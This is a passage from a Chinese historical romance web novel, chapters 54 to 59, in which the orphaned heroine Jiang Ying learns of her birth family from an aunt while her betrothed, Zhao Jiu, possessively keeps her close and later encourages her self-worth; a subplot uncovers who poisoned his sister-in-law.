梁女君不由起身,眼中隐含热泪。
“阿池……”
“夫人!”姜璎径直掠过她,头也不回直奔王氏,雪白小脸满是紧张担忧,“您没事儿吧?”
王氏心中一片慰贴,柔声道:“我没事儿,本来不想叫你来的,只是……”
她轻轻叹了口气,尽显无奈。
姜璎眼眶泛红,略带哽咽道:“难道要我眼睁睁看着您被人欺负吗?我做不到。”
什么、什么欺负?
梁女君瞠目结舌,这个王氏,竟然用心怎么如此之险恶!
姜璎回头,恰好看见梁女君脸上一闪而过怒气。
她立马挡在王氏面前,“梁女君,昨日毁坏您的宴席,是我不对,是我自作主张,与世子夫人,还有卫国公府并无相干!请您不要迁怒旁人。”
梁女君神情恍惚,少女站在王氏身前的这一幕,仿佛和多年前的画面相重叠。
唯一不同的是,姜璎维护的是人,不是她。
“阿池……”回忆刺痛了梁女君的心,她不禁潸然泪下,“我是你的姨母,我怎么可能会怪你?”
此言一出,姜璎脑海空白一瞬。
与此同时。
眼看着雨快停歇,宫中某个角落里的阴郁蘑菇周身还萦绕着浓浓黑气。
赵太后和明惠帝被迫听了一箩筐的怨言苦语。
赵咎越说越破防,心绪不安,声音甚至带了一点哽咽。
“她就找了我一次,就一次……还把原本给我的东西都拿走了!”
“诶。”明惠帝忍不住给姜璎说了句公道话,“不是你非要还给她的吗?”
赵咎声音拔高,“我还给她她就要,有这么听话的吗?那当初我让她喊我名字,她怎么不照做?!”
赵太后耳朵都起茧子了,“好好好,都是她不好。”
这一下又踩到赵咎雷点,一下子炸了。
“她哪里不好?!”
赵太后:“……”
明惠帝:“……”
我的亲娘啊。
怎么跟个疯狗似的,逮谁咬谁?
好在归南及时派人送来消息,“九郎,大事不好!姜姑娘要离开卫国公府了!”
哗啦一声。
赵咎起身匆忙,不小心把长案掀翻,酒水洒了一地。
他面色阴沉,眼神前所未有的可怕,一字一顿道:“姜、璎!”
赵太后见状,连忙道:“你快去吧,快去看看。”
赵太后早就被他折腾的身心俱疲,这平常不发疯的人,发疯起来简直不是人!
她现在半点意见都没有了,就算赵咎明日就要成亲,她也破罐子破摔——随他去了!这死德行不知道跟谁学的,就该有人治治他!
第54章 姨母
不知何时,王氏和郑氏默契退出前厅,独姜璎一人面对梁女君。
当然,这并不是王氏信任梁女君的表现。她第一时间派人通知了赵咎,又让心腹书信一封送往娘家,询问自己这个便宜姑母的真实身世。
在没有摸清梁女君的底细之前,王氏是不会让她带走姜璎的。
“大嫂,你说阿池低着头,到底在想什么?”郑氏忧心忡忡道,这孩子不会真就听信别人三言两语,想离开卫国公府吧?
事实上,姜璎大多数时间都在发呆。
她心不在焉地听着梁女君说话,就像是在听别人的故事一样,说不上来的感受。
直到,梁女君提及她的母亲。
涣散的瞳孔凝聚出了一点神采,她抬起头,抿了抿嘴,低声问道:“我的亲生父母,他们在哪里?”
梁女君哽咽道:“你母亲在生完你的第三年就病逝了。”她握住姜璎发凉的手,被泪水打湿的眸子满是哀戚,“阿池,你是你母亲留在这世上唯一的骨肉,姨母放心不下你,跟我走吧。”
病逝了……
姜璎表情空白一瞬,好半天,才眨了一下眼睛。
“那,父亲呢?”
“不要提他!”梁女君神色突变,几乎咬牙切齿道,“自你母亲去后,他便续弦了你母亲身边的陪嫁,两人甚至有一个同你一般大的女儿!”
当初雪灾何其骇人,又恰好遇上动·乱。
梁女君得知阿姊唯一的骨肉被人劫走的消息,当场晕厥过去,流掉了一个四个月大的男婴,从此再也无法生育。
这些年来,她哪怕随同丈夫去任上,也没有放弃过寻找孩子,可结果永远是一无所获。
“我一直以为,你早已不在人世,没想到、没想到老天终究还是眷顾我的……”梁女君身子微微颤抖,眼泪砸在姜璎手背,令她不由心神摇晃。
姜璎低头掩饰慌乱,道:“女君,这世上相似的人太多,仅凭感觉二字,不能断定我就是您的亲人。想当初永安侯府收养我,也是因为我同姜宝瑜有几分相似的缘故。”
她慢慢抽回自己的手,却在下一刻呆住。
梁女君道:“你身上是不是有一块贴身的玉佩?那是我亲自所刻。”
阿姊生产当月,她放心不下,特意奔赴而来,日日陪着。只因她们姐妹二人幼年颠沛流离,身子骨远非寻常女子康健。
“你阿娘生你之前,曾夭折过两个男孩儿,阿池,你原本是有两个哥哥的。”
提起往事,梁女君心痛难忍,几乎语不成调,“你阿娘身子骨弱,连累你出生以后也跟着体弱多病。我便日日抄写经书,祈求上天庇佑,你阿娘说她什么都不盼,只盼你健健康康、平平安安长大。”
“璎者,石似玉也。美玉需琢磨而成,我们不想你成美玉,只做一块石头,顽强坚韧便足够。”
“你阿娘还说,小名干脆就叫阿石,我却不小心听岔,误以为是阿池,开始为你篆刻玉牌……”
姜璎心神俱震,还企图负隅顽抗:“我有玉佩这件事情,永安侯府的人都知道,这算不得什么证据。”
梁女君看着她,“倘若,我还有另外一块呢?”
一块油润上佳的和田美玉出现在姜璎面前。
大小与她的贴身玉佩一模一样,字迹也颇为相似,只是一面刻着“璎”字,另一面刻着“阿石”。
梁女君脸上流露出回忆的哀伤,“你戴的那块,原是给你玩的练手之作,玉质一般,后面我篆刻的功底好了一些,重新做了一块,你却早就养成习惯,只肯抓着它睡觉,说什么都不换。”
“你阿娘让我拿回去当个念想,说等你长大再给也不迟。我便等啊等,等啊等,却等来了你阿娘的死讯!”
梁女君泣不成声,整个人摇摇欲坠,姜璎下意识搀扶住她,却被一把握住手臂。
她眼神哀痛,几近肝肠寸断。
“都是我不好,我只想着你年纪小、身子弱,禁不住舟车劳顿之苦,想等你再大一些,再接到身边亲自抚养……结果却害你流落他乡,吃尽苦头!”
“午夜梦回,枕巾湿透,我闭上眼睛就能看见你阿娘的笑容!她问我你好不好,我什么都不敢说,我怕她怪我,又怕她不怪我……”
姜璎心脏抽疼难忍。
不知不觉,竟满脸泪水。
恍惚间,面前仿佛出现一个二十出头的绝色美人,笑吟吟地望着自己。
“阿石,慢点走,来阿娘怀里。”
“阿池。”
声音重叠一起。
宛若镜花水月,奢侈的梦境被轻易打碎。
姜璎一直都很羡慕姜宝瑜,羡慕她拥有刘氏完整的爱,羡慕她丢失多年,刘氏依旧心心念念。
永安侯府的人从来不会因为姜璎的存在就轻易移情别恋。
无数个日子里,她站在角落,望着姜宝瑜依偎在刘氏怀中撒娇。
哪怕心知肚明姜宝瑜是故意做给她看,姜璎还是不受控制地生出艳羡。
阿娘……她在心里低低唤了一声。
原来她不是被遗弃的。
梁女君含泪看着她,“阿池,跟姨母走吧。”
“我……”姜璎再度低下头,小声道,“赵九郎君还没有回来,我不能一声不吭离开。”
梁女君不免有些生气,气自己,更气赵家,“你被他们哄骗了!阿池,你知不知道,要不是他们赵家,我和你母亲根本不会——”
“赵九郎君!”姜璎眼睛一亮,看见了那抹熟悉的身影。
梁女君被迫咽下未说完的话。
她亲眼看着姜璎从欣喜到愣怔,最后小心翼翼地缩回了脚,怯生生喊了一句:“赵九郎君。”
梁女君的心都要碎了。
如果不是命运弄人,如果不是赵家!她的阿池何至于此!
“你在这做什么?”赵咎声音冰冷,甚至还能听出咬牙切齿的意味。
姜璎误以为他在赶人,面色一僵,嗫嚅着唇,“我、我马上就走……”
“我让你走了吗?!”声音骤然拔高,赤红的双目有水光一闪而过。
赵咎一路飞奔赶回,神经已经紧绷到了极致。
他绝不容许,任何人带走姜璎!
第55章 自欺
雨势渐大,乌压压的一片天,逼得人喘不过气来。
姜璎呆呆地看着赵咎,没能听懂他的意思,不是说不想看见她吗……
那她到底还要不要走啊?
忽然梁女君挡在了她面前,泪迹未干的脸上隐隐浮现怒容,“赵九郎,你这是什么意思?”
赵咎冷笑一声,“我做事,什么时候需要向女君报备了?”说着,看了姜璎一眼,语气不容置疑道:“过来。”
姜璎心头突突跳个不停,有点儿害怕,但还是老老实实走过去。
“阿池!”梁女君拉住她的手,急切道,“有姨母在,你不必怕他,姨母会护着你的……”
“姑母。”
王氏走进来,温声道:“两个孩子相处也不是一日两日了,姑母大可放心,阿劫是不会欺负阿池的。”
梁女君冷冷看她一眼,她嫁到赵家,自然是心向赵家,为赵家人说话!
赵咎的耐心已然到了尽头,沉沉目光紧盯着面前的人:“还不过来?”
“阿池,不要过去!”
姜璎夹在中间,左右为难,只好对梁女君道:“女君,赵九郎君不会害我的。”她永远坚信这一点,因为就算她做错了事情,赵咎也没有伤害过她分毫,哪怕他很生气很生气。
梁女君怔怔地看着姜璎,她眼神无比认真,令她无法再说出任何阻拦的话。
“赵伯,送客!”赵咎冷冷道,偏头看向姜璎,“跟我过来。”
姜璎面露迟疑,她自然是听话的,可梁女君……
回忆中的温柔呼唤和如今梁女君的泪眼,画面同时交错浮现眼前,她挣扎了片刻,趁赵咎转身的的那一瞬,把袖中的玉佩塞给梁女君。
“对不起。”
低声说完这句,姜璎连忙追上赵咎。
梁女君来晚了。
因为此时此刻,在姜璎心里,赵咎是毋庸置疑的首位,哪怕血缘亲情,也比不上赵咎那日赶来拦截的恩情。
所以,她宁可对不起姨母,也不能对不起赵咎。
“阿池……”
梁女君紧紧攥着手中的玉佩,笨拙的刻字将掌心磨的生疼,距离上一次拿着它,已经过去十六年。
整整十六年。
“姑母,既然阿池不愿意跟您走……”王氏话没说完,就被狠狠甩了一记耳光。
“夫人!”众人惊呼道。
“你干什么?”郑氏惊怒交加,只是还未发脾气,就被梁女君望过来的眼神吓了一跳,她结结巴巴道,“就、就算你是长辈,也没有动手打人的道理!”
梁女君厌恶地看了一眼王氏,吃里扒外的东西!
她阴着脸离开卫国公府。
姜璎还不知道有这一茬,她跟在赵咎身后,小跑着,生怕落下半步。
“赵、赵九郎君……”
周围的景观略显眼熟,好像是去蓼莪院的路?
姜璎微微喘息,又不敢停下歇脚,直到手腕一紧,整个人撞在赵咎胸膛。
“唔!”
没有意料之中的疼,赵咎用手做垫,覆住了她的脸。
眼前一片漆黑,尤其这种时候身体悬空,姜璎不免惊慌,想要说什么,才动了一下,脑袋又被摁回怀里。
赵咎低斥一声:“老实点。”
姜璎立马一动不动,埋着脸,不敢说话。
房门打开又合上,光听声音就知道是用脚踹……
这下,姜璎连呼吸都不敢用力。
像是回到了第一天踏足蓼莪院的场景,随着眼前视野明亮,身下陷入一片松软。
赵咎松开手,顿时姜璎跌进了云朵般的被衾。
还不等她反应过来,就听到上头冷冰冰的声音。
“从今天开始,你给我老老实实待在这,哪儿都别想去。”
姜璎呆住。
这是要禁足她吗?
“可是……”她小声道,想说什么,又默默憋回去。
没想到赵咎去而复返,神情略微僵硬,冲她伸出手,“给我。”
姜璎一头雾水,“什、什么?”
“玉佩!”赵咎想到那日她抱着雕漆木匣离开的背影,眼眶微微泛红,强忍着哽咽道,“还给我,之前的事我可以既往不咎。”
他给出台阶,她走上来,然后和好如初,回到从前。
他可以假装不知道,继续自欺欺人。
哪怕活在梦里也没关系。
总有一天,梦会变成现实。
她也会喜欢他……
“玉佩,给、给梁女君了。”姜璎心虚地低下头。
咔嚓——
梦境破裂,心也跟着碎了一地。
“给谁??”赵咎气得神智不清,低吼道,“是你疯了还是我听错了?姜璎,你搞搞清楚到底谁和你成亲!”
姜璎小声道:“我以为,你不要了……”
赵咎瞪着她,咬牙切齿道:“我不要了就能给她?你的贴身物件是见谁给谁的吗?再一个,我什么时候说不要了?我就是让你暂时保管!”
姜璎立马道:“我现在就去拿回来。”
“坐着!”
谁知道去了还会不会回来。
赵咎胸口不断起伏,气得面色铁青,那什么梁女君,是上门来打秋风的吧?
是她的东西吗她就要?!
一切的自我安慰在玉佩的易主下全都成了笑话。
赵咎忍无可忍,冷冷道:“在成亲之前,你休想离开房间半步。”
转身走了两步又停下。
他背对着她,把碎掉的心一片一片捡起来,重新粘好,他就没见过比她还要狠心的人,“姜璎,我是不会原谅你的。”
“……”
姜璎不知所措地愣了又愣。
这一次,她终于鼓起勇气,抓住了赵咎的手。
“赵九郎君。”她诚恳道,“我可以去拿回来的,你放心,梁女君肯定会还给我。”
赵咎冷笑一声。
却任由姜璎抓着他的手。
姜璎见状连忙保证:“我一定会把玉佩拿回来,还给你!”
虽然用“还”这个字,有点说不上来的别扭……
但是只要赵咎高兴,让她做什么都可以!
半晌,赵咎开口,“写信吧。”
姜璎不明所以。
赵咎微微垂眸,浓密的眼睫被雾气浸湿,令人不禁生出恻隐。
然而,接下来的话与他表现出来的模样截然相反。
可以说是格外的不近人情。
赵咎说:“写信给梁女君,让她把玉佩原封不动还回来。”
说好的别想离开房门半步。
半步的半步都不行!
第56章 原谅
姜璎想说什么,对上赵咎冷幽幽的眸子,立马求生欲十足地把话咽了回去,“我写,马上写。”
赵咎哼出一声。
亲自盯着她写信,逐字逐句看过,确保没有任何问题,才让人送到陆家。
接下来几日,赵咎完全实践了什么叫“禁足”二字。
他不顾王氏的阻拦、郑氏的痛骂,直接把姜璎关在了自己房里,白日两人呆在一处,各做各的事情,晚上赵咎自觉卷铺盖去书房,把寝卧让出去。
梁女君来过好几次,但都没有见到姜璎,要不是姜璎在写信保证自己安然无恙,恐怕她还要带人闯一次卫国公府,把人带走不可。
“我看你是昏了头了,什么事都能做得出来!”王氏扶着长案,拍的掌心都红了。
身为赵家的冢妇,琅琊王氏的嫡长女,王氏向来是高贵端庄,从容不迫的,鲜少有这样被气的面色青白的一天。
毕竟就连当初听说赵咎当街抢亲,她也只是斥了一句胡闹,而非像现在这样仪态尽失。
赵咎神色恹恹,垂着眉眼,“我自己有分寸。”
王氏险些没给气笑,有分寸还能干出这种荒唐的事情?
“你赶紧把阿池放出来!她是你未来的妻子,不是犯人,关起来像什么样子!”
赵咎道:“就是因为她是我未来的妻子,我才这样保护她。”
王氏怒道:“这算什么保护?”
“至少在我眼皮子底下,她不会发生那么多的意外。”赵咎冷冷道。
一句话令王氏语塞。
赵咎自认为不是霸道独·裁、蛮不讲理的人,如果姜璎好好的,他绝不会像现在这样过于极端地掌控她的生活。
但不管是姜璎先前被人掳走的突发情况,还是这次宴席上差点出事,都是不争的事实。
毕竟王氏身体不好,难免疏忽。
她疲惫地摆了摆手,“你大哥很快就要回来了,阿劫,再胡闹也要有个限度。”
“更何况,你这不过就是无用功,既费神费力,又伤人伤己。”
赵咎脚步一顿。
王氏淡淡道:“别怪我没有提醒你,一味的霸道只会将人越推越远。阿池看低自己,难道你也要看低她不成?她是一个活生生的人,不是你的笼中鸟,所属物!”
一直到蓼莪院,王氏的话还在脑海回荡。
他走进屋,见姜璎趴在书案上,咬着笔头,同账本做抗争。
因是生手,有些账目需要对好几遍才肯放心,故而姜璎全身心投入,自然没有听见帘子掀开时的那点细微动静。
高脚凳上的青瓷里插着今日刚摘的莲花,金光点点,透过窗牖上的云母片在层层叠叠的花瓣间跳跃。
书案那头,姜璎小小打了个哈欠。
若是王氏院里,她算账累了就去榻上小憩一会儿,但在蓼莪院,也不知道赵咎什么时候回来。
姜璎揉去困意的泪花,直起身子,余光却瞥见地上多出一道长长的影子。
赵咎就这样就静静地看着她。
“赵九郎君?”
“你怪我吗?”
两人同时开口,又同时安静。
姜璎歪了歪脑袋,似乎有些不解,“什么怪你?”她摇了摇头,“我什么都不怪你呀。”
赵咎心口一热,眼睑涌起潮气。
在王氏面前强撑的无所谓,在见到姜璎的那一刻全都化为乌有。
他根本没法在她面前装作没事儿人。
尤其是回来的路上,反思又反思,只觉得哪哪都对不起她。
和光鲜亮丽的出身相比,赵咎对待感情的方式就像是一张破破烂烂的答卷,错误百出,不堪入目。
他甚至不知道接下来该怎么做。
因为怎么做都是错。
“为什么不怪我?”明明脑子里想的是如何讨人欢心,可张口完全不受控制。
他已经沦落成蛛网中的猎物,丧失了平时的理智,进行着幼连年时期都不屑为之的刨根问底。
“我把你关起来,不许你踏出房门半步,如此无理取闹,你都不生气吗?”赵咎看着她,眼神中有痛苦有挣扎。
明明最初的最初,他只想将她牢牢抓在身边,最好是寸步不离的那种才让人放心。但为什么,他现在却反而为她的乖顺而难过?
跟我发脾气吧。
赵咎心想,不管是哭是闹,打我骂我,怎么样都好。
至少,不要像一个没事人一样,让我觉得如此无力。
“为什么生气?”姜璎睁圆了眼睛,“赵九郎君是为我好啊。”
看得出来,她是真心实意这样认为。
赵咎只能冷酷打破她的幻想,“不是,这只是为了满足我个人私欲。”
姜璎却有自己的道理:“是人都有私欲,赵九郎君的私欲不仅没有伤害到我,还把我保护得很好。”
常言道:君子论迹不论心。姜璎虽然也会害怕盛怒之下的赵咎,但她依旧打心底相信他不会做伤害她的事情。
赵咎有点抓狂了,“可我关着你,限制了你的自由,对你造成了不便。哪怕是为你好,你也有生气的权利!”
姜璎眨了下眼睛,“没有不便啊。就是……”她欲言又止,在赵咎的目光下露出一个不好意思的笑容。
“就是我会想念世子夫人她们。”
“……”他垮下了肩膀,“是不是我做什么你都不会生气?”
她真的只把他当做恩人看待吗?
为什么就没有一点男女之情呢?
“有一件事情,但不是生气,就是有一点点伤心,不,是难过。”
伤心是指赵咎做错了事情。
但姜璎觉得他没有错。
“什么?”
“那日,赵九郎君说再也不想看见我……”姜璎低下了头,小声道,“我可以改的,”
赵咎忽然快步走来,一把将人抱在怀里。
“不用改!”他闷声闷气道,像是下定了什么决心,声音加重,又重复了一遍,“不用改。”
“可是……”
“没有什么可是,我当时在气头上,有些口不择言。你要原谅我。”
他抱着她,下巴搁在她脖颈。
温热的气息洒在莹白耳垂,像是魔咒一般,他低声说:“原谅我、原谅我、原谅我。”
理直气壮的不像是求饶。
倒像是求爱。
姜璎耳垂顿时充血,滚烫得不像话。
“我原谅你。”她结结巴巴道。
第57章 教她
金光乍破云层,大咧咧地耀武扬威,像是要把前几日的缺失一次性弥补回来。
赵咎抱了姜璎好一会儿,直到那股酸涩被压下去,才平复情绪,“我问你个问题,在你心里,我是你的谁?”
顿了顿,又补充道:“你老实说,我不生气。”
姜璎于是放心了,神情肃穆得宛如宣誓:“赵九郎君是我的救命恩人,更是我未来的夫婿,我以后绝不会惹赵九郎君生气。”
某些人其实也不是很老实啊。
见缝插针地表忠心。
可惜马屁拍到了马腿上,赵咎脸色阴晴不定,把姜璎的脑袋掰了过来,强迫她正视自己。
“把救命恩人去掉,从脑袋里抹除干净。你只要记得,再过不久,我们就是夫妻,是这个世上最亲密的人,你可以冲我发脾气,做什么都可以……”
长篇大论听得姜璎晕头转向,她只抓住了前面的那一句,“为什么要抹除?”
赵咎反问道:“微不足道的小事,有什么好记在心上?”
“可是救命之恩大过天!”就跟条件反射似的,姜璎脱口而出。
在到卫国公府之前,刘氏等人给她灌输的思想,永远是来来**这几样。
不是救命之恩大过天,就是百善孝为先。
因为永安侯府救了她,又养育她长大,所以一切的索取都有了正当理由。
好像她天生就是要为永安侯府付出的。
“姜璎。”赵咎的神情变得十分严肃,姜璎忍不住紧张起来,“怎、怎么了?”她哪里说错了吗?
这个混乱的时代,是没有**可言的。
尊严二字也是只有贵族享用的奢侈品。
赵咎命好,在此之前,他或许根本无法理解什么叫“自我”,做自己想做的事情,这很困难吗?
可是你要想啊,这天底下有多少人连吃饱穿暖都那么困难。
和身不由己的人谈自我,跟和衣不蔽体、食不果腹的人谈礼节,又有什么区别?
纯纯站着说话不腰疼!
当赵咎明白那一瞬间,比苍白的言语更先到来的,是骤然落下的眼泪。
心疼如针尖,细细密密地滚动,最先开始的是刺痒,紧接着才是难以呼吸的痛。
他不是不知道永安侯府对姜璎的影响有多大,但还是那句话,这世上本就没有真正的感同身受,只有切身体会,才能明白其中的痛楚。
最初,赵咎想要取代永安侯府在姜璎的位置。
他坚信自己不会辜负姜璎全身心的付出与爱。
但是现在,他发现他错的离谱。
比追求姜璎的爱更重要的事情,应该是让她学着接受自己,心疼自己,保护自己。
她首先要爱自己,再有余力去爱别人。
“阿池。”他捧着姜璎的脸蛋,如捧玉壁明珠,小心翼翼,万分珍惜。
“是我当街抢亲,是我带你回来的,这都是我心甘情愿做的事情,与你没有半点关系。如果能给你带来帮助,那是最好不过,如果不能,那就是伤害。”
姜璎连忙道:“有帮助的,有的!”
赵咎点了点头,“就算如此,你不要因为别人的行为,而给自己施加压力,我带你回来,不是我有什么好心,天底下可怜人那么多,你看我有挨个去救吗?我只是为了满足自己的私欲。我是自私的,就和当初永安侯府的人一样。”
“不一样的!”
“你先别说话。”赵咎捂住了她的嘴,小嘴叭叭的,这不是故意想让他心神不定吗?
他清咳一声,循循善诱道:“我们以后是夫妻,对不对?夫妻是这世上最亲密的关系,我不想你一味的顺从我,如果你喜欢酪浆,我不喜欢,我让你也不许吃,这是没有道理的。你要学会拒绝别人,哪怕是我也一样。”
姜璎思考半天,迟疑地点了点头,表示自己明白了。
赵咎松开手,又道:“在这个家里,我们都是一样的,如果我哪里做得不好,你就直接告诉我,我要是惹你生气,你打我骂我,都是可以的。”
那怎么能行?姜璎忍不住睁大眼睛。
赵咎轻轻揉了一下她的脸蛋,低声道:“我说真心话,你打我骂我,我会很高兴的。”
因为是你,所以怎么样都可以。
“你知道我最怕什么吗?”
“什、什么?”她结结巴巴问道,被赵咎方才的那句话搅得心里怪怪的,有种心尖发麻的感觉。
太奇怪了。
是生病了吗?
赵咎低下头,抵着她的额头,四目相对,极其认真道:“我最怕你什么都不说,憋在心里。你说我该怎么办?我不想冲你发脾气,也不能敲开你的嘴,你说我要怎么才能知道你心里想什么呢?”
姜璎愣在原地。
厚
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重的情绪如同汹涌浪潮,将她淹没。
她试图去理解赵咎的每句话,一点一点慢慢消化。
最后得出一个匪夷所思又令人难以置信的结论。
——她很重要。
她很重要吗?!
脱口而出时,姜璎有种想要把嘴缝上钻地底的冲动。
眼看着她脸颊越来越红,赵咎内心不合时宜地生出一个念头:太可爱了,他的阿池。啊,这么可爱的阿池,是他的妻子。
他嘴角忍不住微微上扬,小心藏住了心底卑劣的窃喜,但声音还是能听出来一丝雀跃。
“当然了,你是谁啊?你是姜璎,礼仪周全、饱读诗书的姜璎,又向来做事仔细,待人真诚。从你来到家里,大嫂没有一日不夸你。”
赵咎认真道:“你都这么好了,要是身份再高一些,我娶不到你,我就直接抱憾终身,死不瞑目。”
姜璎一把捂住赵咎的嘴,严肃道:“不能说不吉利的话!”
赵咎眨了下眼,杏目微微弯起。
姜璎被他注视得有点不好意思,小声道:“我、我没有赵九郎君说的那么好呀。”
“你有!”赵咎肯定道,“我们家里不允许妄自菲薄,你最好快点改掉这个毛病。”
姜璎真以为有这种规矩,立马肃然起敬,挖空脑袋地寻找自己的优点。
不找不知道,原来她也是有可取之处的!
姜璎一时间心情复杂。
就像是重新认识了自己。
她对自己有这么陌生吗?
赵咎见她眉眼时而蹙紧、时而舒展,却又充盈着一股淡淡的,鲜活明亮的气息。
小鹿在心间乱窜,鬼使神差般,他低下头,想要吻一吻她眉心。
“九郎!”吼叫声如平地惊雷。
赵咎猝不及防被推开,姜璎脸红耳热,眼看推完就开始后悔,他连忙道:“没事!”
“真的……”没事吗?
“真的没事!”赵咎怕她不信,忍着疼鼓励道,“推的好,你怎么高兴怎么来。”
说完给了归南一记眼刀。
归南:“……”
不是吧。
这也能怪他?
“世子和二郎君回来了!”归南抹了把脸,很努力克制,但还是忍不住幸灾乐祸。
快别顾着谈情说爱了。
赶紧的收拾收拾,面对现实,接受制裁吧!
赵咎:“……”
第58章 查出
半晌沉默后,赵咎做出了一个重大决定。
他看着姜璎,“你跟我一起去见兄长他们。”
姜璎脑子宕机一瞬,微微张开嘴,结结巴巴道:“啊?我、我吗?”
没有一点儿可以出去的喜悦,有的只有被迫见长辈的慌张。
赵咎眨了下眼睛,叹气道:“兄长平日对我最为严厉,回来后若知晓我的所作所为,一定严惩不贷。”
说罢又循循善诱,“你跟我一起去,到时候他要打我,你替我求求情,未来弟妇在场,他不好动手的。”
姜璎顿时压力重重,苦着脸道:“世子他也不一定给我这个面子的。”
赵咎道:“至少你去了,还能有个人扶我一把、替我上药。换别人,可能就迫于兄长淫·威,对我不管不问。”
两位兄长:“……”
哇塞。
真是小刀剌屁股——开了眼了!
若王氏和郑氏在场,定然忍不住啐他一脸。
阎王爷贴告示都没他鬼话连篇!
赵咎见姜璎不说话,微微凑近,挑了下眉,问:“姜璎,你是我这边的人,不会不心疼我的,对吧?”
被他如此盯着,姜璎紧张得手脚无处安放,连忙点头道:“嗯嗯。”
赵咎满意一笑,拉起她的手往外走。
书房。
卫国公世子赵咨扶着妻子坐下,才皱眉询问下人:“他人去哪儿了,怎么还不过来?”
王氏温声道:“你这才回来不久,下人通报也要时间,急什么?许是已经在来的路上了。”
赵咨袖子一甩,冷哼出声,“真是胡闹!”
姜璎走到门口,正好听见这一句,表情呆了一呆,被赵咎捏了捏手心,才深吸一口气,鼓足勇气跟着他进去。
帘子掀开,亮堂的日光下,站着一个俊美儒雅的男人。
因是刚刚沐浴更衣,赵咨身上穿着十分家常的白中单,外面披了一件青色常服,发尾一抹潮意尚未完全干透。
枝叶摇晃,光影分离,透过窗牖落在男人脸上,面容玉白,说不出的俊美威严。
姜璎一时看呆了,好半天没眨眼。
赵咎面色一黑,上前微微挡住了姜璎的视线,唤道:“大兄,大嫂。”
姜璎没想到自己会走神,脸颊微微泛红,羞赧地低了下头。
世子和夫人站在一起,真是一对璧人。
殊不知,王氏心里也是这样的想法。
她轻轻碰了一下赵咨的手臂,同他交换了一个眼神,莞尔一笑。
你看,是不是很登对?
赵咨轻哼一声,他对未来弟妇没有什么意见,倒是赵咎!这个臭小子,就知道他当初心怀鬼胎,所以死活不肯跟着一起去治水!
都说高嫁低娶,赵咎又是父母老来子,赵咨根本没想过拿弟弟出去联姻,虽然说永安侯府的养女身份是欠缺一些,但他既然钟意,有什么不能开口提的呢?
请媒**大方方上门提亲,不比当街抢亲来得光明磊落?
现在好了,笑话传出了盛京,就连一同回来复命的同僚都玩笑说赵家出了个大情种!
情种?
别是傻子吧!
“愣着做什么,难道还要我请你不成?”赵咨冷哼一声。
赵咎笑了一下,当着兄长大嫂的面,他倒是没牵姜璎的手,以免赵咨对未来弟妇产生先入为主的坏印象。
“大兄找我过来,有什么事?”
这话说的,让赵咨刚下去的火气又窜了上来。
他也知道是找他?还带上姜璎一起!
赵咨外表瞧着俊美威严,但实际上是个颇好面子的人,斥责的话到了嘴边,看见姜璎,又被他硬生生憋了回去。
姜璎拘谨但不失礼仪,“见过世子、夫人。”
王氏欣慰点头,赵咨暗自瞪了赵咎一眼,露出一个笑容道:“是阿池吧?过来坐。这些日子,辛苦你照顾你大嫂。”
姜璎受宠若惊,忙道:“都是我应该做的。”
赵咨似笑非笑睨了赵咎一眼,找了这么个好媳妇,难怪腰板都硬起来了。
赵咎坦然接受大哥的审视,道:“先前刑如风诊出大嫂**,这事儿终于查出了结果,正好大兄回来,就一起看看吧。”
提到此事,赵咨脸上的笑容顿时消失了个一干二净。
王氏招了招手,握着姜璎的手让她坐到自己身边。
刑如风几乎
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日日早上都来给她诊脉,因体内毒素未彻底清除干净,胎像难以稳固,也令她悬心不已。
赵咨原本不想留下这个孩子,但刑如风说打胎同样伤身,以王氏如今的身体,根本承受不住打胎的风险。
倒不如暂时先养着,左右月份还浅。若过个一两月,还是不乐观,再用药流去孩子也来得及。
赵咨问道:“查出来了,是谁?”
归南从袖子里取出一沓状纸,密密麻麻都是证据。
赵咎递给兄长,道:“给大嫂下毒的是贴身奴婢南星,她略通药理,又一向管着大嫂的膳食,所以动起手来神不知鬼不觉。”
王氏微微皱眉,辛夷震惊道:“可南星是随同夫人一起陪嫁过来的家生子!”
说得再难听一点,下人连同家里人的**契都在王氏手里头攥着,他们怎么敢生出二心?
赵咎扯了扯嘴角,对赵咨解释道:“正是因为如此,我们一开始没有彻查贴身的下人,后面细查无果,才挨个地往下究查。”
南星的爹娘都在王氏身边当差,但她还有个哥哥,因为娶了王氏二婶院里的一个丫鬟,夫妻俩就一同留在王家。
“二婶?”王氏眼眸微微一沉,她怎么都没想到,祸根竟然是出在自家!
可她平日里与娘家素来一团和气,王氏实在想不出,自己什么时候跟二婶结了仇。
赵咨翻着手中的证词,脸色黑的几乎能滴出墨来。
王氏伸出手,“怎么了?给我看看。”
赵咨迟疑了片刻,还好赵咎帮着一起道:“大嫂,你现在还是以身子为重,这些就先别看了,免得动气伤身。”
姜璎眼神流露一丝好奇。
是有什么不能为外人道也的辛密吗?
——还真给她猜对了。
王家二夫人的嫡次女,比王氏小了整整十岁,自幼爱慕赵咨这个堂姐夫,尤其前两年嫁了人,因为夫君病故而孀居在家,便对王氏怀恨在心,时常怨天尤人。
王二夫人心疼女儿,又眼馋赵家这门好亲事,就歪了心思,想要害死王氏,还把女儿嫁过去。
届时美名其曰姨母照顾几个侄儿,岂不是名正言顺?
第59章 鲜活
“真是痴人说梦、恬不知耻!”赵咨怒斥道,手中的证词几乎揉成一团。
王氏夺了过来,一目十行,在赵咨阻拦之前看完大致内容。
“大嫂……”
没有大家想象中的生气,王氏半阖了眼,静默半晌,方才开口道:“南星人呢?把她带过来见我。”
赵咨略带担忧地看着妻子,王氏冲他淡淡一笑,如果这点事情就能把她击垮,未免也太小瞧她了。
姜璎看在眼里,心生敬意。
世子夫人不愧是高门贵女,哪怕遭遇了这种事情,也还是一如既往镇定。
很快南星被带上来,双手捆于身后,嘴巴塞着麻布,她看见王氏,扑通一声跪在地上,不停地磕头呜咽。
涉及王氏娘家,赵咎自觉避嫌,对赵咨道:“大兄,那我们先回去了。”
姜璎起身,十分主动地走到赵咎身边。
“阿劫。”王氏警告地看他一眼,他还想胡闹多久?难道真要把姜璎带在身边、寸步不离直到成亲?
赵咨见状,发话道:“既然这事儿是你处理的,干脆留下来一起听听吧。”
赵咎当做没听见,既然大哥二哥回来了,剩下的事情自然应该全权交由他们做主。
“我们走。”他对姜璎道。
赵咨黑了脸,“赵咎!”这个臭小子,小时候老老实实,长大了反而一身反骨!他是想故意气死他们不成?
王氏无奈道:“随他去吧。”
姜璎胆战心惊,好几次想要回头,都被拉着继续往前走。
“赵、赵九郎君……”她气喘吁吁,担心道,“世子不会生气吧?”
